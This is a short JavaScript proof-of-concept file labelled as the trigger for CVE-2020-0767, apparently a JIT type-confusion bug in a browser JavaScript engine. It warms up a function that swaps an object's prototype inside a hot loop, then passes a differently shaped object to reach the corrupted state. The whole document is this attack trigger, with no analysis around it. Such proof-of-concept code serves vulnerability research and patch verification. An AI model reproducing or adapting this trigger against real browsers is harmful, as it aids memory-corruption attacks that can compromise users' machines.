cve-2020-0767.js

// PoC for CVE-2020-0767 by bkth
function f(object) {
    object.__proto__ = {};
    object.a;
    for (let i = 0; i < 50000; ++i) {
        object.a = 0x41414141;
        object.x = 1;
        try {} catch(e) {} finally {}
    }
    return () => object;
}

function trigger(f) {
    for (var i = 0; i < 160; i++) {
        f({a:1, b:2, c:3});
    }
    hax = f({a:1, b:2, c:3, d:4})();
    hax.x;
}

trigger(f);